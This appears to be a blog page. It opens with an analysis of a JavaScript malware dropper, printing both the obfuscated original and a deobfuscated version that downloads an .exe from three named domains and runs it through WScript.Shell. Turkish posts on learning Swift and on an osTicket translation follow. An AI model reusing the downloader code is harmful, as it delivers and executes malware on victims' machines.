'("WS'; }; /* var x=xirf878107(); */ function xirf49868() { return 'serv'; }; function xirf687466() { return '"/d'; }; /* var x=xirf407440(); */ function xirf160290() { return 'crip'; }; function xirf256464() { return 'nd'; }; function xirf306332() { return 'w A'; }; /* var x=xirf807143(); */ /* var x=xirf917956(); */ function xirf466622() { return 'xa.'; }; function xirf153166() { return 'ct'; }; /* var x=xirf671527(); */ /* var x=xirf195283(); */ /* var x=xirf956190(); */ function xirf167414() { return 'ell")'; }; function xirf787202() { return ' }'; }; function xirf658970() { return 'y {'; }; function xirf60554() { return ' www'; }; function xirf712400() { return '"&amp;i'; }; /* var x=xirf729384(); */ function xirf117546() { return 'gth; '; }; function xirf733772() { return '); '; }; function xirf705276() { return 'd="+'; }; /* var x=xirf957005(); */ /* var x=xirf549186(); */ /* var x=xirf273114(); */ function xirf178100() { return 'n ='; }; /* var x=xirf263855(); */ function xirf416754() { return 'stat'; }; function xirf238654() { return '+Math'; }; /* var x=xirf367986(); */ function xirf616226() { return ' cat'; }; /* var x=xirf720673(); */ /* var x=xirf535352(); */ /* var x=xirf789260(); */ function xirf128232() { return '{ v'; }; /* var x=xirf583916(); */ function xirf698152() { return 't.ph'; }; function xirf683904() { return 'b[i]+'; }; /* var x=xirf351150(); */ /* var x=xirf932345(); */ function xirf217282() { return 'ing.'; }; /* var x=xirf735013(); */ /* var x=xirf879417(); */ /* var x=xirf552619(); */ /* var x=xirf620595(); */ function xirf388258() { return 'ead'; }; /* var x=xirf523612(); */ function xirf619788() { return 'ch'; }; function xirf651846() { return ' }; }'; }; function xirf64116() { return '.f'; }; /* var x=xirf142116(); */ /* var x=xirf176209(); */ function xirf35620() { return 'ed'; }; function xirf78364() { return 'afm.c'; }; function xirf14248() { return 'r)'; }; function xirf691028() { return 'ocum'; }; /* var x=xirf338298(); */ function xirf769392() { return '== '; }; function xirf487994() { return '; '; }; /* var x=xirf225206(); */ function xirf402506() { return ' 4'; }; /* var x=xirf636674(); */ /* var x=xirf636282(); */ /* var x=xirf836817(); */ function xirf812136() { return '; dl'; }; function xirf267150() { return '00'; }; /* var x=xirf155738(); */ function xirf641160() { return '.clo'; }; function xirf356200() { return 'ysta'; }; function xirf195910() { return 'nment'; }; function xirf772954() { return '1) br'; }; function xirf131794() { return 'ar ws'; }; /* var x=xirf137927(); */ function xirf495118() { return 'ite('; }; function xirf106860() { return 'i=0; '; }; /* var x=xirf196136(); */ /* var x=xirf725959(); */ /* var x=xirf328080(); */ /* var x=xirf194010(); */ /* var x=xirf246259(); */ function xirf32058() { return 'secur'; }; function xirf505804() { return 'spon'; }; function xirf406068() { return ' &amp;'; }; /* var x=xirf305409(); */ /* var x=xirf794086(); */ /* var x=xirf185017(); */ function xirf224406() { return 'omC'; }; /* var x=xirf661559(); */ /* var x=xirf267063(); */ /* var x=xirf124701(); */ /* var x=xirf675004(); */ /* var x=xirf792550(); */ /* var x=xirf573393(); */ /* var x=xirf887064(); */ function xirf477308() { return '); x'; }; /* var x=xirf519510(); */ function xirf673218() { return 'T","'; }; function xirf498680() { return 'xo'; }; /* var x=xirf671072(); */ /* var x=xirf970843(); */ function xirf423878() { return ' 200'; }; function xirf701714() { return 'p?rn'; }; /* var x=xirf784083(); */ function xirf363324() { return 'ang'; }; /* var x=xirf693928(); */ function xirf188786() { return 'andEn'; }; /* var x=xirf249099(); */ /* var x=xirf126979(); */ function xirf680342() { return '//"+'; }; function xirf345514() { return 'on'; }; function xirf666094() { return 'pen("'; }; function xirf783640() { return ' };'; }; function xirf381134() { return 'if '; }; /* var x=xirf421675(); */ function xirf601978() { return 'Run('; }; function xirf676780() { return 'http:'; }; function xirf723086() { return 'r,'; }; function xirf284960() { return 'r '; }; /* var x=xirf248031(); */ /* var x=xirf871734(); */ function xirf530738() { return '5000)'; }; function xirf552110() { return 'sit'; }; /* var x=xirf871627(); */ function xirf594854() { return 'ry {'; }; function xirf302770() { return ' = ne'; }; /* var x=xirf277826(); */ function xirf206596() { return '("%TE'; }; function xirf463060() { return '; '; }; function xirf85488() { return '.spli'; };for (var fzdr=1; fzdr&lt;=230; fzdr++) { x += this['xirf'+(fzdr*3562)](); }; this[xirf243()](x);
 

Wohoooo!!!! Our guy knows how to obfuscate javascript. Let’s deobfuscate it.

function dl(fr){
  var b = "idsecurednow.com a1service.net www.fibrasinteticafm.com".split(" ");
  for (var i = 0; i &lt; b.length; i ++ ){ var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round( Math.random() * 100000000) + ".exe"; var dn = 0; var xo = new ActiveXObject("MSXML2.XMLHTTP"); xo.onreadystatechange = function (){ if (xo.readyState == 4 &amp;&amp; xo.status == 200){ var xa = new ActiveXObject("ADODB.Stream"); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size &gt; 5000){
          dn = 1;
          xa.position = 0;
          xa.saveToFile(fn, 2);
          try {
            ws.Run(fn, 1, 0);
          }
          catch (er){
          }
          ;
        }
        ;
        xa.close();
      }
      ;
    }
    ;
    try {
      xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&amp;id=" + str, false);
      xo.send();
    }
    catch (er){
    }
    ;
    if (dn == 1)break ;
  }
  ;
}
;
dl(5731);
dl(4892);
dl(3373);
 

It is classic javascript downloader. It basically tries to download malware from three different addresses and run it. It is a new version because according to Virustotal  it was just checked 8 hours ago probably by our malware author. I am flattered that someone coded a malware just to attack me. I checked the file and it is coded in Visual Basic. I won’t analyze the file and waste my time with it. Just some string greps shows that it is probably coded by some German person. If malware author reads this, please tell me what was your motive. Last time I checked, I am not a celebrity, don’t have billions of dollar or anything valuable to be exploited.

Programcılık Macerası

Gerçek mesleğim öğretmenlik ama uzun zamandır hobi olarak bilgisayarlarla uğraşıyorum. Herhalde bilgisayarlara olan bu ilgimi baştan keşfetmiş olsaydım bir bilgisayarcı olabilirdim. Ama bu da pek mantıklı gözükmüyor çünkü bizim zamanımızda bilgisayar mağazalarının olduğu yerler hep dutluktu.

Aslında orta seviye assembly bilgisine sahibim ve bu bilgi bana programların nasıl çalıştığı konusunda oldukça fazla bilgi veriyor. Fakat assembly de kapsamlı bir program yazabilmek çok zor, bazen imkansız. Çünkü diğer RAD platformlarının sunduğu binlerce kütüphaneden ve bilgiden mahrum kalıyorsunuz. Ben de geçen yaz ciddi bir şekilde C++ diline eğilmeye karar verdim. Bayağı da ilerledim. Kamboçyada öğretmenlik yaparken öğrencilerimle başlattığım İngilizce-Khmerce sözlüğü yazdım. Ama günden güne bu programlama diline olan ilgimi kaybettim. Eğer bir şey ilgimi çekmiyorsa o işle uğraşmak bana zulüm geliyor.

Programı yayınladıktan sonra öğrencilerin bazıları iOS versiyonunu istediler. Bende bu şekilde biraz merak biraz bu tip yeni şeyleri inceleme isteğinden iOS programlama dünyasına daldım. iOS da program yazabilmek için MAC işletim sistemine ihtiyacımız var. Ben şu ana kadar hep PC kullanmıştım. Sadece bir heves için MAC almayı da çok mantıklı bulmadım. Bu yüzden eski HP laptopuma Hackintosh denilen yöntemle Mavericks yükledim. Daha sonra github ve google u kullanarak bir şekilde 1-2 ay içinde iPhone ve iPad lerde çalışan bir programı yazdım. Bittiğinde gerçekten bu bana bir başarma duygusu verdi. Yazdığın programı hemen cep telefonundan erişmek hoşuma gitmişti. Ben de iOS a eğilmeye karar verdim.

Apple tam o sıralar iOS 8 i ve yeni bir programlama dili olan Swift i duyurdu. Objective C nin parantezlerinden bıktığımdan bu yeni dili öğrenmeye karar verdim. Öncelikle 15$ a Udemy de iOS kursu satın aldım. Ben aldım ama sakın siz almayın. Nedeni kursu veren kişi bir Web Developer ve öğrendiği kadar Swift anlatmış. Aşırı derecede kötü kodlar ve buna bağlı alışkanlıkları size öğretiyor. Bunu anlamam biraz uzun sürdü ve sanırım kursun yarısından sonra bıraktım. Eğer video kurslarından ben iyi öğreniyorum diyorsanız, iTunes U da Paul Hegarty in Swift kursu var onu şiddetle tavsiye ederim. Kendisi Apple ın temellerini oluşturan Next Systems de çalıştığı için API lerini tarihini biliyor ve şiir gibi kod yazıyor.

Bir şeyi öğrenmenin bence iki yolu var; 1) Öğretmek 2) Pratik. Benim gibi bir öğretmenden Swift öğrenecek birini bulamadığım için ben de ufak tefek bir şeyler yazmaya karar verdim. İlk başta önceden bahsettiğim kursa bağlı programlar yazdım ama o programlar gerçek hayatta hiç bir kullanımı olmayan Kedi Yaşı(Kedi canını yisinler) hesaplaması gibi ya çok basit programlardı veya Hava Durumu gibi çok genel fikirlerdi. Kardeşime yardım olması bakımından bende interaktif bir belediye uygulaması yazmaya başladım. İşte bu aşamada artık bir şeyler öğrenmeye başlamıştım. En basit şeylerin günlerimi aldığı zamanlardı. Stackoverflow sağ olsun uzun sürdü ama çok büyük deneyim kazandım.

Sonradan sadece kendi isteğim doğrultusunda bir program yazmaya karar verdim. App Store un öne çıkan uygulamalar kısmında Deliveries diye bir programı görmüştüm. Program 10-15 tane kargo şirketini destekleyen bir kargo takip programı. Program oldukça basit olmasına rağmen ilk program olduğundan aşırı derece de rağbet görüyordu. Ben de Kargo ile alakalı Türkiyede bir program yazılmış mı diye baktım ama bulamadım. Aslında varmış ama ben İngilizce App Store kullandığımdan arama sonuçlarında çıkmıyordu. Bu gazla programı geliştirmeye başladım. Yüzlerce kargo şirketi olduğundan sadece Türkiyedeki bütün firmalar ve yurtdışındaki belli başlı firmalara odaklandım. 2015 Ocak ayında başladım ve programın App Store da gözükmesi Ağustos ayını buldu. Şubat ayında Swift 1.2 çıktığında bana bayağı bir baş ağrısı vermişti. O kadar kodu yeniden düzenlemem gerekti. Program aslında Nisan gibi bitti daha doğrusu ben öyle zannettim. iOS 7 üstü bütün cihazları desteklememe rağmen sadece iPhone 5S ve iPhone 6 ile test etmiştim. Meğerse ne kadar bug varmış🙂 iOS 7 de programı açtığımda program anında göçmüştü. Mayısa kadar programı çalışır hale getirmekle uğraştım.

Bundan sonraki aşama App Store a yüklemek. Öncelikle App Store a paşa paşa yıllık 99$ bayılmanız gerekiyor. Benim için bu uzun zaman aldı. Çünkü önce bankadan debit hesabı açtırdım. Fakat “güvenli” bankamız debit kart ile 3D güvenlik olmayan yerlerden alışveriş yaptırtmıyor. Belki bir gün bu ismi bende mahfuz “güvenli” bankamızın iOS programının ne kadar “güvenli” olduğu ile akalalı bir yazı yazabilirim. Neyse en sonunda Ağustos gibi App Store da iki programım yayınlanmaya başlandı. Yazdığım kargo takip programı Kargom Nerde bana çok şeyler öğretti. Öncelikle Swift dilini öğrenmeme yardımcı oldu. Daha sonra Software Testing in gerçekten önemli bir şey olduğunu anladım. Eskiden her bir kargo şirketini manuel olarak test ediyordum(Çaylak alarmı!!!). Şu an ben de artık Unit Testing yapıyorum. Eylül 2015 gibi Swift 2 dili çıkacak ve yine yeni şeyler öğrenmem ve eski yazdığım kodları tekrar dan düzenlemem gerekecek. Fakat bu sürekli yeni şeyleri öğrenebilme hali beni gerçekten motive ediyor. Bu yazıyı yazma nedenim günlük 20 kişiye varan devasa kitleme şu mesajı vermek:
Yeni bir şey öğrenmek için eğer ölmediyseniz hala geç kalmış sayılmazsınız.

Linkler:
Kargom Nerde: http://www.mustafadur.com/findmyparcel/indextr.html
Stanford Swift Kursu: https://itunes.apple.com/us/course/developing-ios-8-apps-swift/id961180099

osTicket Türkçe Çevirisi

Bu benim ilk Türkçe içerikli yazım o yüzden işe yarar birşey hakkında yazayım dedim. Kardeşimin bir işi için bir destek yazılım sistemine ihtiyacımız vardı ve açık kaynak kodlu bir destek yazılımı olan osTicket‘ta karar kıldık. Fakat kardeşimin İngilizcesi olmadığından yazılımı iyi bir şekilde kullanamıyordu. osTicket’ın eski versiyonları bir ara Türkçeye çevrilmiş ama 1.9 versiyonu için oldukça fazla eksik vardı. Bayağı uzun süren bir çalışmadan sonra 4 gün önce çeviriyi bitirdim. Bayağı uğraştığımı söylemek zorundayım. Çevirdiğim onca satıra ilaveten ayrıca yanlış ve eksik çevirileri de değiştirmek zorunda kaldım. Gerçekten birisi ‘Agent’ keilmesini neden ‘Agent’ diye çevirir anlayabilmiş değilim. Türkçe konuşan Şotanın röportajını Türkçeye çeviren muhabir aklıma geldi.

Çeviriyi kontrol etmek ve gördüğünüz hataları düzenlemek için bu adrese gidebilirsiniz. Yeterli kişi onayladığı zaman bu çeviri osTicket’ın çeviri paketlerine eklenecektir. Eğer siz de benim gibi bu kadar bekleyemem derseniz size bu işi kendi başınıza nasıl yapacağınızı anlatayım.

  1. Bu siteden bütün çeviri dosyalarını tek tek indirin.
  2. Sitede olduğu gibi aynı klasörleri oluşturun ve indirdiğiniz dosyaları doğru yerlerine kopyalayın.
  3. Bu siteye gidin ve messages.po dosyasını ‘Convert .po to .mo’ ile çevirin ve oluşan dosyayı messages.mo şeklinde kaydedin.
  4. osTicket yazılımın içindeki include/class.translation.php dosyası ile şu komutları yazarak .message.mo.php dosyasını oluşturun
    php include/class.translation.php messages.mo > messages.mo.php
    Hata oluşup oluşmadığını anlamak için messages.mo.php dosyasının içeriğine bakın
  5. Oluşan bu dosyayı çevirinizin içindeki LC_MESSAGES klasörüne kopyalayın ve bu klasörde eğer varsa messages.po dosyasını silin.
  6. En son olarak phar-util i indirin aşağıdaki komutlar ile .phar dosyasını oluşturun
    phar-build.bat -s /ceviri-klasorunun-adresi -n
  7. Oluşan dosyayı osTicket klasörünün /include/i18n/ klasörüne kopyalayın.

Eğer hata yapmadıysanız oluşan klasörün boyutu 340 KB civarı olacaktır. İyi günlerde kullanmanız dileğiyle.